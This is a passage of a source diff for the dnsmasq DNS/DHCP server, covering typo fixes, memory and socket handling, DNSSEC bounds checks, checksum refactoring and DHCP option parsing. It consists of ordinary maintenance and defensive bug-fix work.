printable strings. In practise, dnsmasq passes all octets except zero, which is treated
as a terminator.
All file descriptors are
closed except stdin, which is open to /dev/null, and stdout and stderr which capture output for logging by dnsmasq.
@@ -2704,7 +2738,7 @@ IPv4 and IPv6 addresses from /etc/hosts (and
and
.B --interface-name
and
.B ---dynamic-host
.B --dynamic-host
provided the address falls into one of the subnets specified in the
.B --auth-zone.
.PP
+2 -2
View File
@@ -869,7 +869,7 @@ Om detta sammanfaller med att DNS inte fungerar, är det
nödvändigt att inaktivera funktionen. I version 2.91 är 0x20-kodning
inaktiverad som standard och måste aktiveras med --do-0x20-encode. Standardinställningen
kan komma att ändras i framtiden, så för att vara säker på dess status efter en uppgradering, ställ in --do-0x20-encode
eller --no-0x20-encode i din konfiguration. --no-0x20-encode åsidosätter --do-x20-encode eller en framtida standardinställning
eller --no-0x20-encode i din konfiguration. --no-0x20-encode åsidosätter --do-0x20-encode eller en framtida standardinställning
0x20-encode enable.
.TP
.B --use-stale-cache[=<max TTL excess in s>]
@@ -2732,7 +2732,7 @@ IPv4- och IPv6-adresser från /etc/hosts (och
och
.B --interface-name
och
.B ---dynamic-host
.B --dynamic-host
förutsatt att adressen faller inom ett av de subnät som anges i
.B --auth-zone.
.PP
+1 -1
View File
@@ -132,7 +132,7 @@ int blockdata_expand(struct blockdata *block, size_t oldlen, char *data, size_t
/* find size of current final block */
for (b = block; oldlen > KEYBLOCK_LEN && b; b = b->next, oldlen -= KEYBLOCK_LEN);
/* chain to short for length, something is broken */
/* chain too short for length, something is broken */
if (oldlen > KEYBLOCK_LEN)
{
blockdata_free(block);
+41 -19
View File
@@ -217,29 +217,42 @@ static void free_config_crec(struct crec *p)
config_spare = p;
}
static struct nameblock *nameblock_spare = NULL;
static char *store_name(unsigned int namelen, unsigned int index)
{
struct nameblock *block;
char *ret = NULL;
int i;
if (namelen > NAMEBLOCK_CHARS)
return NULL;
for (block = hostblocks; block; block = block->next)
if (block->index == index && NAMEBLOCK_CHARS - block->last >= namelen)
break;
if (!block && ((block = whine_malloc(sizeof(struct nameblock)))))
{
block->next = hostblocks;
block->index = index;
hostblocks = block;
}
if (block && NAMEBLOCK_CHARS - block->last >= namelen)
/* Check the first few blocks for possible space. This allows efficient memory usage
without blowing up O(n^2) CPU usage which the linked list gets long. */
for (i = 10, block = hostblocks; i != 0 && block; block = block->next, i--)
if (block->index == index && NAMEBLOCK_CHARS - block->last >= namelen)
{
ret = &block->data[block->last];
block->last += namelen;
return ret;
}
if (nameblock_spare)
{
block = nameblock_spare;
nameblock_spare = nameblock_spare->next;
}
else
block = whine_malloc(sizeof(struct nameblock));
if (block)
{
block->next = hostblocks;
block->index = index;
block->last = namelen;
hostblocks = block;
ret = &block->data[0];
}
return ret;
@@ -247,11 +260,20 @@ static char *store_name(unsigned int namelen, unsigned int index)
static void free_names(unsigned int index)
{
struct nameblock *block;
struct nameblock *block, *tmp, **up;
for (block = hostblocks; block; block = block->next)
if (index == UID_NONE || block->index == index)
block->last = 0;
for (up = &hostblocks, block = hostblocks; block; block = tmp)
{
tmp = block->next;
if (index == UID_NONE || block->index == index)
{
*up = tmp;
block->next = nameblock_spare;
nameblock_spare = block;
}
else
up = &block->next;
}
}
/* In most cases, we create the hash table once here by calling this with (hash_table == NULL)
@@ -2309,7 +2331,7 @@ static char *edestr(int ede)
}
}
static int error_occured(unsigned int flags) {
static int error_occurred(unsigned int flags) {
if (flags & F_RCODE)
return 1;
else if (flags & F_NEG)
@@ -2330,10 +2352,10 @@ void log_query(unsigned int flags, char *name, union all_addr *addr, char *arg,
if (!option_bool(OPT_LOG))
return;
if(option_bool(OPT_LOG_ONLY_FAILED) && !error_occured(flags))
if(option_bool(OPT_LOG_ONLY_FAILED) && !error_occurred(flags))
return;
/* F_NOERR is reused here to indicate logs arrising from auth queries */
/* F_NOERR is reused here to indicate logs arising from auth queries */
if (!(flags & F_NOERR) && option_bool(OPT_AUTH_LOG))
return;
+32 -1
View File
@@ -734,7 +734,7 @@ static const struct opttab_t opttab6[] = {
{ "status", 13, OT_INTERNAL },
{ "rapid-commit", 14, OT_INTERNAL },
{ "user-class", 15, OT_INTERNAL | OT_CSTRING },
{ "vendor-class", 16, OT_INTERNAL | OT_CSTRING },
{ "vendor-class", 16, OT_DHCP6_VENDOR },
{ "vendor-opts", 17, OT_INTERNAL },
{ "sip-server-domain", 21, OT_RFC1035_NAME },
{ "sip-server", 22, OT_ADDR_LIST },
@@ -909,6 +909,37 @@ char *option_string(int prot, unsigned int opt, unsigned char *val, int opt_len,
buf[j++] = ',';
}
}
else if ((ot[o].size & OT_DHCP6_VENDOR))
{
unsigned int enterprise;
unsigned char *p = &val[0];
if (opt_len >= 4)
{
GETLONG(enterprise, p);
snprintf(buf, buf_len, "%u", enterprise);
j = strlen(buf);
i = 4;
while (i + 2 <= opt_len)
{
int k, len;
p = &val[i];
GETSHORT(len, p);
if (i + 2 + len > opt_len)
break;
if (j < buf_len - 1)
buf[j++] = ',';
for (k = 0; k < len && j < buf_len - 1; k++)
{
char c = *p++;
if (isprint((unsigned char)c))
buf[j++] = c;
}
buf[j] = 0;
i += len + 2;
}
}
}
#endif
else if ((ot[o].size & (OT_DEC | OT_TIME)) && opt_len != 0)
{
+1 -1
View File
@@ -720,7 +720,7 @@ static int construct_worker(struct in6_addr *local, int prefix,
return 1;
for (tmp = daemon->dhcp_except; tmp; tmp = tmp->next)
if (tmp->name && wildcard_match(tmp->name, ifrn_name))
if (tmp->name && (tmp->flags & INAME_6) && wildcard_match(tmp->name, ifrn_name))
return 1;
for (template = daemon->dhcp6; template; template = template->next)
+93 -43
View File
@@ -1935,7 +1935,7 @@ static void check_dns_listeners(time_t now)
/* Note that handling events here can create or destroy fds and
render the result of the last poll() call invalid. Once
we find an fd that needs service, do it, then return to go around the
poll() loop again. This avoid really, really, wierd bugs. */
poll() loop again. This avoid really, really, weird bugs. */
if (!option_bool(OPT_DEBUG))
for (i = 0; i < daemon->max_procs; i++)
@@ -2015,20 +2015,32 @@ static void do_tcp_connection(struct listener *listener, time_t now, int slot)
pid_t p;
union mysockaddr tcp_addr;
socklen_t tcp_len = sizeof(union mysockaddr);
struct server *s;
struct server *s;
struct listener *l;
int flags, auth_dns = 0;
struct in_addr netmask;
int pipefd[2];
struct iovec tcpbuff;
#ifdef HAVE_LINUX_NETWORK
unsigned char a = 0;
#endif
netmask.s_addr = 0;
while ((confd = accept(listener->tcpfd, NULL, NULL)) == -1 && errno == EINTR);
if (confd == -1)
return;
{
/* Transient errors: just return and retry on next poll cycle. */
if (errno == EAGAIN || errno == ECONNABORTED ||
errno == EMFILE || errno == ENFILE ||
errno == ENOMEM || errno == ENOBUFS)
return;
/* Fatal error (EINVAL, EBADF, etc): socket is permanently broken.
Close it so poll() no longer selects it. In --bind-dynamic mode
the listener will be rebuilt on the next address change event. */
close(listener->tcpfd);
listener->tcpfd = -1;
return;
}
if (getsockname(confd, (struct sockaddr *)&tcp_addr, &tcp_len) == -1)
{
@@ -2138,25 +2150,19 @@ static void do_tcp_connection(struct listener *listener, time_t now, int slot)
/* fork() done: parent side */
close(pipefd[1]); /* parent needs read pipe end. */
#ifdef HAVE_LINUX_NETWORK
/* The child process inherits the netlink socket,
which it never uses, but when the parent (us)
uses it in the future, the answer may go to the
child, resulting in the parent blocking
forever awaiting the result. To avoid this
the child closes the netlink socket, but there's
a nasty race, since the parent may use netlink
before the child has done the close.
/* The child process inherits various sockets,
whose existence can mess up the function of
the parent. See below for details of which
sockets, and why they cause problems. The
child closes the sockets during startup,
but there's a nasty race, since the parent
may use them before the child has done the close.
To avoid this, the parent blocks here until a
To avoid the race, the parent blocks here until a
single byte comes back up the pipe, which
is sent by the child after it has closed the
netlink socket. */
is sent when the child has finished the close. */
read_write(pipefd[0], &a, 1, RW_READ);
#endif
daemon->tcp_pids[slot] = p;
daemon->tcp_pipes[slot] = pipefd[0];
daemon->metrics[METRIC_TCP_CONNECTIONS]++;
@@ -2176,18 +2182,43 @@ static void do_tcp_connection(struct listener *listener, time_t now, int slot)
return;
}
#ifdef HAVE_LINUX_NETWORK
/* The child process inherits the netlink socket,
which it never uses, but when the parent
uses it in the future, the answer may go to the
child, resulting in the parent blocking
forever awaiting the result. To avoid this
close the netlink socket in the child. */
close(daemon->netlinkfd);
#elif defined(HAVE_BSD_NETWORK)
close(daemon->routefd);
#endif
/* Close inherited listening sockets in the child process.
These are not needed here and holding them prevents the
parent from re-binding if an interface is removed and
re-added (the child's copy causes EADDRINUSE). */
for (l = daemon->listeners; l; l = l->next)
{
if (l->fd != -1)
close(l->fd);
if (l->tcpfd != -1)
close(l->tcpfd);
if (l->tftpfd != -1)
close(l->tftpfd);
}
/* unblock parent now we're not holding sockets we shouldn't. */
read_write(pipefd[1], &a, 1, RW_WRITE);
/* Arrange for SIGALRM after CHILD_LIFETIME seconds to
terminate the process. */
#ifdef HAVE_LINUX_NETWORK
/* See comment above re: netlink socket. */
close(daemon->netlinkfd);
read_write(pipefd[1], &a, 1, RW_WRITE);
#endif
alarm(CHILD_LIFETIME);
close(pipefd[0]); /* close read end in child. */
daemon->pipe_to_parent = pipefd[1];
}
}
/* The connected socket inherits non-blocking
attribute from the listening socket.
Reset that here. */
@@ -2232,14 +2263,13 @@ int swap_to_tcp(struct frec *forward, time_t now, int status, struct dns_header
ssize_t *plen, char *name, int class, struct server *server, int *keycount, int *validatecount)
{
struct server *s;
struct listener *l;
if (!option_bool(OPT_DEBUG))
{
pid_t p;
int i, pipefd[2];
#ifdef HAVE_LINUX_NETWORK
unsigned char a = 0;
#endif
/* check to see if we have a free tcp process slot. */
for (i = daemon->max_procs - 1; i >= 0; i--)
@@ -2260,22 +2290,18 @@ int swap_to_tcp(struct frec *forward, time_t now, int status, struct dns_header
return STAT_ABANDONED;
}
#ifdef HAVE_LINUX_NETWORK
/* The child process inherits the netlink socket,
which it never uses, but when the parent (us)
uses it in the future, the answer may go to the
child, resulting in the parent blocking
forever awaiting the result. To avoid this
the child closes the netlink socket, but there's
a nasty race, since the parent may use netlink
before the child has done the close.
/* The child process inherits various sockets,
whose existence can mess up the function of
the parent. See below for details of which
sockets, and why they cause problems. The
child closes the sockets during startup,
but there's a nasty race, since the parent
may use them before the child has done the close.
To avoid this, the parent blocks here until a
To avoid the race, the parent blocks here until a
single byte comes back up the pipe, which
is sent by the child after it has closed the
netlink socket. */
is sent when the child has finished the close. */
read_write(pipefd[0], &a, 1, RW_READ);
#endif
/* i holds index of free slot */
daemon->tcp_pids[i] = p;
@@ -2294,10 +2320,34 @@ int swap_to_tcp(struct frec *forward, time_t now, int status, struct dns_header
{
/* child starts here. */
#ifdef HAVE_LINUX_NETWORK
/* See comment above re: netlink socket. */
/* The child process inherits the netlink socket,
which it never uses, but when the parent
uses it in the future, the answer may go to the
child, resulting in the parent blocking
forever awaiting the result. To avoid this
close the netlink socket in the child. */
close(daemon->netlinkfd);
#elif defined(HAVE_BSD_NETWORK)
close(daemon->routefd);
#endif
/* Close inherited listening sockets in the child process.
These are not needed here and holding them prevents the
parent from re-binding if an interface is removed and
re-added (the child's copy causes EADDRINUSE). */
for (l = daemon->listeners; l; l = l->next)
{
if (l->fd != -1)
close(l->fd);
if (l->tcpfd != -1)
close(l->tcpfd);
if (l->tftpfd != -1)
close(l->tftpfd);
}
/* unblock parent now we're not holding sockets we shouldn't. */
read_write(pipefd[1], &a, 1, RW_WRITE);
#endif
alarm(CHILD_LIFETIME);
close(pipefd[0]); /* close read end in child. */
daemon->pipe_to_parent = pipefd[1];
+3 -2
View File
@@ -723,7 +723,7 @@ struct resolvc {
#endif
};
/* adn-hosts parms from command-line (also dhcp-hostsfile and dhcp-optsfile and dhcp-hostsdir*/
/* addn-hosts parms from command-line (also dhcp-hostsfile and dhcp-optsfile and dhcp-hostsdir*/
#define AH_DIR 1
#define AH_INACTIVE 2
#define AH_WD_DONE 4
@@ -834,6 +834,7 @@ struct frec {
#define OT_CSTRING 0x0800
#define OT_DEC 0x0400
#define OT_TIME 0x0200
#define OT_DHCP6_VENDOR 0x0100
/* actions in the daemon->helper RPC */
#define ACTION_DEL 1
@@ -1170,7 +1171,7 @@ struct dhcp_relay {
};
extern struct daemon {
/* datastuctures representing the command-line and
/* datastructures representing the command-line and
config file arguments. All set (including defaults)
in option.c */
+25 -14
View File
@@ -177,7 +177,7 @@ static int get_rdata(struct dns_header *header, size_t plen, struct rdata_state
if ((state->c = state->end - state->ip) != 0)
{
state->op = state->ip;
state->ip = state->end;;
state->ip = state->end;
}
else
return 0;
@@ -189,24 +189,28 @@ static int get_rdata(struct dns_header *header, size_t plen, struct rdata_state
if (d == (u16)0)
{
/* domain-name, canonicalise */
int len;
/* If the name is malformed, or runs beyond the end of the RR, abort.
under no circumstances should state->ip be beyond state->end since
that will cause the run-out code above to turn the negative
calculted length into a very large postive value for state->c
and overrun the buffer. */
if (!extract_name(header, plen, &state->ip, state->buff, EXTR_NAME_EXTRACT, 0) ||
(len = to_wire(state->buff)) == 0)
continue;
state->c = len;
state->ip > state->end)
return 0;
/* to_wire() always returns length > 0 */
state->c = to_wire(state->buff);
state->op = (unsigned char *)state->buff;
}
else
{
/* plain data preceding a domain-name, don't run off the end of the data */
if ((state->end - state->ip) < d)
d = state->end - state->ip;
if (d == 0)
continue;
/* Plain data preceding a domain-name.
Handle short RR, if there are no bytes left, return finished. */
if ((state->end - state->ip) < d &&
(d = state->end - state->ip) == 0)
return 0;
state->op = state->ip;
state->c = d;
state->ip += d;
@@ -1018,6 +1022,13 @@ int dnssec_validate_ds(time_t now, struct dns_header *header, size_t plen, char
if (!servfail)
{
/* If the answer carries no proof of non-existence, we fall back to asking if the
zone is unsigned, but that question is answered by the very DS record we're
chasing here, so we'd loop getting nowhere. Treat the zone as unsigned and let
the checks below decide if that's acceptable. */
if (STAT_ISEQUAL(rc, STAT_NEED_DS) && hostname_isequal(name, keyname))
rc = STAT_INSECURE;
if (STAT_ISEQUAL(rc, STAT_INSECURE))
{
/* A INSECURE DS answer is OK if it's negative and there's a CNAME answer to the DS answer which is
@@ -1923,7 +1934,7 @@ static int zone_status(char *name, int class, char *keyname, time_t now)
return STAT_INSECURE;
}
if (name_start == 0)
if (name_start <= 1)
break;
for (p = &name[name_start-2]; (*p != '.') && (p != name); p--);
+26 -24
View File
@@ -129,6 +129,23 @@ void dump_packet_icmp(int mask, void *packet, size_t len,
do_dump_packet(mask, packet, len, src, dst, -1, IPPROTO_ICMP);
}
static u32 calc_data_checksum(u32 sum, void *packet, size_t len)
{
u32 i;
for (i = 0; i < len/2; i++)
sum += ((u16 *)packet)[i];
if (len & 1) /* last byte, in case length is odd. */
sum += ((unsigned char *)packet)[len - 1];
while (sum >> 16)
sum = (sum & 0xffff) + (sum >> 16);
if (sum != 0xffff)
sum = ~sum;
return sum;
}
static void do_dump_packet(int mask, void *packet, size_t len,
union mysockaddr *src, union mysockaddr *dst, int port, int proto)
{
@@ -226,13 +243,9 @@ static void do_dump_packet(int mask, void *packet, size_t len,
udp.uh_dport = dst->in.sin_port;
}
ip.ip_sum = 0;
for (sum = 0, i = 0; i < sizeof(struct ip) / 2; i++)
sum += ((u16 *)&ip)[i];
while (sum >> 16)
sum = (sum & 0xffff) + (sum >> 16);
ip.ip_sum = (sum == 0xffff) ? sum : ~sum;
ip.ip_sum = 0; /* for the calculation */
ip.ip_sum = calc_data_checksum(0, &ip, sizeof(struct ip));
/* start UDP/ICMP checksum */
sum = ip.ip_src.s_addr & 0xffff;
sum += (ip.ip_src.s_addr >> 16) & 0xffff;
@@ -240,9 +253,6 @@ static void do_dump_packet(int mask, void *packet, size_t len,
sum += (ip.ip_dst.s_addr >> 16) & 0xffff;
}
if (len & 1)
((unsigned char *)packet)[len] = 0; /* for checksum, in case length is odd. */
if (proto == IPPROTO_UDP)
{
/* Add Remaining part of the pseudoheader. Note that though the
@@ -252,17 +262,12 @@ static void do_dump_packet(int mask, void *packet, size_t len,
sum += htons(IPPROTO_UDP);
sum += htons(sizeof(struct udphdr) + len);
udp.uh_sum = 0;
udp.uh_sum = 0; /* for the calculation */
udp.uh_ulen = htons(sizeof(struct udphdr) + len);
for (i = 0; i < sizeof(struct udphdr)/2; i++)
sum += ((u16 *)&udp)[i];
for (i = 0; i < (len + 1) / 2; i++)
sum += ((u16 *)packet)[i];
while (sum >> 16)
sum = (sum & 0xffff) + (sum >> 16);
udp.uh_sum = (sum == 0xffff) ? sum : ~sum;
udp.uh_sum = calc_data_checksum(sum, packet, len);
pcap_header.incl_len = pcap_header.orig_len = ipsz + sizeof(udp) + len;
}
else
@@ -274,12 +279,9 @@ static void do_dump_packet(int mask, void *packet, size_t len,
sum += htons(proto);
sum += htons(len);
icmp->icmp6_cksum = 0;
for (i = 0; i < (len + 1) / 2; i++)
sum += ((u16 *)packet)[i];
while (sum >> 16)
sum = (sum & 0xffff) + (sum >> 16);
icmp->icmp6_cksum = (sum == 0xffff) ? sum : ~sum;
icmp->icmp6_cksum = 0; /* for the calculation */
icmp->icmp6_cksum = calc_data_checksum(sum, packet, len);
pcap_header.incl_len = pcap_header.orig_len = ipsz + len;
}
+46 -28
View File
@@ -177,7 +177,10 @@ static void forward_query(int udpfd, union mysockaddr *udpaddr,
int forwarded = 0;
int ede = EDE_UNSET;
unsigned short rrtype, rrclass;
unsigned short id = ntohs(header->id); /* Retrieve the id from the new query before we overwrite it. */
unsigned int casediff = 0;
unsigned int *bitvector = NULL;
gotname = extract_request(header, plen, daemon->namebuff, &rrtype, &rrclass);
/* Check for retry on existing query.
@@ -197,16 +200,7 @@ static void forward_query(int udpfd, union mysockaddr *udpaddr,
FREC_HAS_PHEADER | FREC_DNSKEY_QUERY | FREC_DS_QUERY | FREC_NO_CACHE)))
{
struct frec_src *src;
unsigned int casediff = 0;
unsigned int *bitvector = NULL;
unsigned short id = ntohs(header->id); /* Retrieve the id from the new query before we overwrite it. */
/* Get the case-scambled version of the query to resend. This is important because we
may fall through below and forward the query in the packet buffer again and we
want to use the same case scrambling as the first time. */
blockdata_retrieve(forward->stash, forward->stash_len, (void *)header);
plen = forward->stash_len;
for (src = &forward->frec_src; src; src = src->next)
if (src->orig_id == id &&
sockaddr_isequal(&src->source, udpaddr))
@@ -217,6 +211,11 @@ static void forward_query(int udpfd, union mysockaddr *udpaddr,
old_src = 1;
/* If a query is retried, use the log_id for the retry when logging the answer. */
src->log_id = daemon->log_id;
/* Get the case-scambled version of the query to resend. This is important because we
may fall through below and forward the query in the packet buffer again and we
want to use the same case scrambling as the first time. */
blockdata_retrieve(forward->stash, forward->stash_len, (void *)header);
plen = forward->stash_len;
}
else
{
@@ -242,9 +241,11 @@ static void forward_query(int udpfd, union mysockaddr *udpaddr,
and never resetting until the frec gets deleted by
aging followed by the receipt of a different query. This
is a bit of a DoS vuln. Avoid by explicitly deleting the
frec once it expires. */
if (difftime(now, forward->time) >= TIMEOUT)
free_frec(forward);
frec once it expires. The deletion is done at the end of
this function, unless we set forward to NULL here. */
if (difftime(now, forward->time) < TIMEOUT)
forward = NULL;
goto reply;
}
@@ -263,7 +264,10 @@ static void forward_query(int udpfd, union mysockaddr *udpaddr,
The original query we sent is now in packet buffer and the query name in the
new instance is on daemon->namebuff. */
blockdata_retrieve(forward->stash, forward->stash_len, (void *)header);
plen = forward->stash_len;
if (extract_name(header, forward->stash_len, NULL, daemon->workspacename, EXTR_NAME_EXTRACT, 0))
{
unsigned int i, gobig = 0;
@@ -312,7 +316,6 @@ static void forward_query(int udpfd, union mysockaddr *udpaddr,
src->fd = udpfd;
src->encode_bitmap = casediff;
src->encode_bigmap = bitvector;
src->udp_pkt_size = (unsigned short)replylimit;
/* closely spaced identical queries cannot be a try and a retry, so
@@ -388,18 +391,15 @@ static void forward_query(int udpfd, union mysockaddr *udpaddr,
forward->frec_src.orig_id = ntohs(header->id);
forward->new_id = get_id();
header->id = ntohs(forward->new_id);
forward->frec_src.encode_bitmap = (!option_bool(OPT_NO_0x20) && option_bool(OPT_DO_0x20)) ? rand32() : 0;
forward->frec_src.encode_bitmap = casediff = (!option_bool(OPT_NO_0x20) && option_bool(OPT_DO_0x20)) ? rand32() : 0;
forward->frec_src.encode_bigmap = NULL;
if (!extract_name(header, plen, NULL, (char *)&forward->frec_src.encode_bitmap, EXTR_NAME_FLIP, 1))
if (casediff != 0 && !extract_name(header, plen, NULL, (char *)&casediff, EXTR_NAME_FLIP, 1))
goto reply;
/* Keep copy of query for retries and move to TCP */
if (!(forward->stash = blockdata_alloc((char *)header, plen)))
{
free_frec(forward);
goto reply; /* no mem. return REFUSED */
}
goto reply; /* no mem. return REFUSED */
forward->stash_len = plen;
forward->frec_src.log_id = daemon->log_id;
@@ -582,13 +582,25 @@ static void forward_query(int udpfd, union mysockaddr *udpaddr,
}
/* could not send on, prepare to return */
header->id = htons(forward->frec_src.orig_id);
free_frec(forward); /* cancel */
ede = EDE_NETERR;
reply:
if (udpfd != -1)
{
/* The query now in the buffer can have changed from what arrived during
the preparation for forwarding in two respects.
1) The header->id field may have changed.
2) The case of letters in the query may have been changed.
Restore both of these changes before using it to build an error return for the client.
The original id is held in local variable id, and the difference in case
is encoded in casediff and also bitvector if the difference spreads beyond the first
32 characters.
*/
header->id = htons(id);
if (casediff != 0)
extract_name(header, plen, NULL, (char *)(bitvector ? bitvector : &casediff), EXTR_NAME_FLIP, bitvector ? casediff : 1);
if (!(plen = make_local_answer(flags, gotname, plen, header, daemon->namebuff, replylimit, first, last, ede)))
return;
@@ -619,6 +631,11 @@ static void forward_query(int udpfd, union mysockaddr *udpaddr,
}
daemon->metrics[METRIC_DNS_LOCAL_ANSWERED]++;
/* This has to be after last use of bitvector. */
if (forward)
free_frec(forward);
return;
}
@@ -1267,7 +1284,7 @@ void reply_query(int fd, time_t now)
had replies from all to avoid filling the forwarding table when
everything is broken */
/* decrement count of replies recieved if we sent to more than one server. */
/* decrement count of replies received if we sent to more than one server. */
if (forward->forwardall && (--forward->forwardall > 1) && RCODE(header) == REFUSED)
return;
@@ -1289,7 +1306,8 @@ void reply_query(int fd, time_t now)
server->query_latency = server->mma_latency/128;
/* Flip the bits back in the query name. */
if (!extract_name(header, n, NULL, (char *)&forward->frec_src.encode_bitmap, EXTR_NAME_FLIP, 1))
if (forward->frec_src.encode_bitmap != 0 &&
!extract_name(header, n, NULL, (char *)&forward->frec_src.encode_bitmap, EXTR_NAME_FLIP, 1))
return;
#ifdef HAVE_DNSSEC
@@ -2105,7 +2123,7 @@ static ssize_t tcp_talk(int first, int last, int start, struct dns_header *heade
#if defined(SO_SNDTIMEO) && defined(SO_RCVTIMEO)
/* TCP connections by default take ages to time out.
Set shorter timeouts more appropriate for a DNS server.
We set the recieve timeout as twice the send timeout; we
We set the receive timeout as twice the send timeout; we
want to fail quickly on a non-responsive server, but give it time to get an
answer. */
tv.tv_sec = TCP_TIMEOUT;
+1 -7
View File
@@ -712,13 +712,7 @@ static unsigned char *grab_extradata(unsigned char *buf, unsigned char *end, ch
break;
if (next && (next != buf))
{
char *p;
/* No "=" in value */
if ((p = strchr((char *)buf, '=')))
*p = 0;
val = (char *)buf;
}
val = (char *)buf;
}
my_setenv(env, val, err);
+13 -11
View File
@@ -527,7 +527,7 @@ void lease_update_slaac(time_t now)
/* Find interfaces associated with leases at start-up. This gets updated as
we do DHCP transactions, but information about directly-connected subnets
is useful from scrips and necessary for determining SLAAC addresses from
is useful from scripts and necessary for determining SLAAC addresses from
start-time. */
void lease_find_interfaces(time_t now)
{
@@ -1027,6 +1027,13 @@ static void kill_name(struct dhcp_lease *lease)
lease->old_hostname = lease->hostname;
lease->hostname = lease->fqdn = NULL;
#ifdef HAVE_DHCP6
/* A lease which had a hostname when slaac_add_addrs() was called on it
may have slaac-address records. Since it no longer has a hostname,
they are no-longer valid, so update to remove them */
slaac_add_addrs(lease, 0, 0);
#endif
}
void lease_calc_fqdns(void)
@@ -1151,6 +1158,10 @@ void lease_set_hostname(struct dhcp_lease *lease, const char *name, int auth, ch
file_dirty = 1;
dns_dirty = 1;
lease->flags |= LEASE_CHANGED; /* run script on change */
#ifdef HAVE_DHCP6
slaac_add_addrs(lease, dnsmasq_time(), 0);
#endif
}
void lease_set_interface(struct dhcp_lease *lease, int interface, time_t now)
@@ -1250,15 +1261,6 @@ int do_script_run(time_t now)
}
else
{
#ifdef HAVE_DHCP6
struct slaac_address *slaac, *tmp;
for (slaac = lease->slaac_address; slaac; slaac = tmp)
{
tmp = slaac->next;
free(slaac);
}
#endif
kill_name(lease);
#ifdef HAVE_SCRIPT
queue_script(ACTION_DEL, lease, lease->old_hostname, now);
#endif
@@ -1267,7 +1269,7 @@ int do_script_run(time_t now)
#endif
old_leases = lease->next;
free(lease->hostname);
kill_name(lease); /* frees slaac_addr, hostname and fqdn */
free(lease->clid);
free(lease->extradata);
free(lease->agent_id);
+20 -17
View File
@@ -97,27 +97,30 @@ int log_start(struct passwd *ent_pw, int errfd)
entries_alloced = 1;
}
/* If we're running as root and going to change uid later,
change the ownership here so that the file is always owned by
the dnsmasq user. Then logrotate can just copy the owner.
Failure of the chown call is OK, (for instance when started as non-root).
If we've created a file with group-id root, we also make
the file group-writable. This gives processes in the root group
write access to the file and avoids the problem that on some systems,
once the file is owned by the dnsmasq user, it can't be written
whilst dnsmasq is running as root during startup.
*/
if (log_to_file && !log_stderr && ent_pw && ent_pw->pw_uid != 0)
{
struct stat ls;
if (getgid() == 0 && fstat(log_fd, &ls) == 0 && ls.st_gid == 0 &&
(ls.st_mode & S_IWGRP) == 0)
(void)fchmod(log_fd, ls.st_mode | S_IWGRP);
if (fchown(log_fd, ent_pw->pw_uid, -1) != 0)
ret = errno;
/* Only mess with permissions for regular files, not (eg) /dev/null */
if (fstat(log_fd, &ls) == 0 && S_ISREG(ls.st_mode))
{
/* If we're running as root and going to change uid later,
change the ownership here so that the file is always owned by
the dnsmasq user. Then logrotate can just copy the owner. */
if (fchown(log_fd, ent_pw->pw_uid, -1) != 0)
ret = errno;
/* If we've created a file with group-id root, we also make
the file group-writable. This gives processes in the root group
write access to the file and avoids the problem that on some systems,
once the file is owned by the dnsmasq user, it can't be written
whilst dnsmasq is running as root during startup.
Failure of the chown call is OK, (for instance when started as non-root). */
if (getgid() == 0 && ls.st_gid == 0 && (ls.st_mode & S_IWGRP) == 0)
(void)fchmod(log_fd, ls.st_mode | S_IWGRP);
}
}
return ret;
}
+8 -13
View File
@@ -1254,19 +1254,14 @@ void warn_bound_listeners(void)
int advice = 0;
for (iface = daemon->interfaces; iface; iface = iface->next)
if (!iface->dns_auth)
if (!iface->dns_auth && !iface->warned &&
iface->addr.sa.sa_family == AF_INET && !private_net(iface->addr.in.sin_addr, 1))
{
if (iface->addr.sa.sa_family == AF_INET)
{
if (!private_net(iface->addr.in.sin_addr, 1))
{
inet_ntop(AF_INET, &iface->addr.in.sin_addr, daemon->addrbuff, ADDRSTRLEN);
iface->warned = advice = 1;
my_syslog(LOG_WARNING,
_("LOUD WARNING: listening on %s may accept requests via interfaces other than %s"),
daemon->addrbuff, iface->name);
}
}
inet_ntop(AF_INET, &iface->addr.in.sin_addr, daemon->addrbuff, ADDRSTRLEN);
iface->warned = advice = 1;
my_syslog(LOG_WARNING,
_("LOUD WARNING: listening on %s may accept requests via interfaces other than %s"),
daemon->addrbuff, iface->name);
}
if (advice)
@@ -1462,7 +1457,7 @@ static struct serverfd *allocate_sfd(union mysockaddr *addr, char *intname, unsi
/* when using random ports, servers which would otherwise use
the INADDR_ANY/port0 socket have sfd set to NULL, this is
anything without an explictly set source port. */
anything without an explicitly set source port. */
if (!daemon->osport)
{
errno = 0;
+80 -44
View File
@@ -745,7 +745,7 @@ static int numeric_check(char *a)
{
char *p;
if (!a)
if (!a || *a == 0)
return 0;
unhide_metas(a);
@@ -771,11 +771,14 @@ static int strtoul_check(char *a, u32 *res)
if (!numeric_check(a))
return 0;
x = strtoul(a, NULL, 10);
if (errno || x > UINT32_MAX) {
errno = 0;
return 0;
}
if (errno || x > UINT32_MAX)
{
errno = 0;
return 0;
}
*res = (u32)x;
return 1;
}
@@ -1383,7 +1386,7 @@ static void dhcp_netid_list_free(struct dhcp_netid_list *netid)
netid = netid->next;
/* Note: don't use dhcp_netid_free() here, since that
frees a list linked on netid->next. Where a netid_list
is used that's because the the ->next pointers in the
is used that's because the ->next pointers in the
netids are being used to temporarily construct
a list of valid tags. */
free(tmplist->list->net);
@@ -1471,58 +1474,45 @@ static int parse_dhcp_opt(char *errstr, char *arg, int flags)
while (arg)
{
char *start = arg;
comma = split(arg);
for (cp = arg; *cp; cp++)
if (strstr(arg, "option:") == arg)
start = arg+7;
#ifdef HAVE_DHCP6
else if (strstr(arg, "option6:") == arg)
{
start = arg+8;
is6 = 1;
}
#endif
else if (strstr(arg, "option4:") == arg)
start = arg+8;
for (cp = start; *cp; cp++)
if (*cp < '0' || *cp > '9')
break;
if (!*cp)
{
new->opt = atoi(arg);
new->opt = atoi(start);
opt_len = 0;
option_ok = 1;
break;
}
if (strstr(arg, "option:") == arg)
/* option*:<opt>|<optname> must follow tag and vendor string. */
if (start != arg)
{
if ((new->opt = lookup_dhcp_opt(AF_INET, arg+7)) != -1)
if ((new->opt = lookup_dhcp_opt(is6 ? AF_INET6: AF_INET, start)) != -1)
{
opt_len = lookup_dhcp_len(AF_INET, new->opt);
opt_len = lookup_dhcp_len(is6 ? AF_INET6: AF_INET, new->opt);
/* option:<optname> must follow tag and vendor string. */
if (!(opt_len & OT_INTERNAL) || flags == DHOPT_MATCH)
option_ok = 1;
}
break;
}
#ifdef HAVE_DHCP6
else if (strstr(arg, "option6:") == arg)
{
for (cp = arg+8; *cp; cp++)
if (*cp < '0' || *cp > '9')
break;
if (!*cp)
{
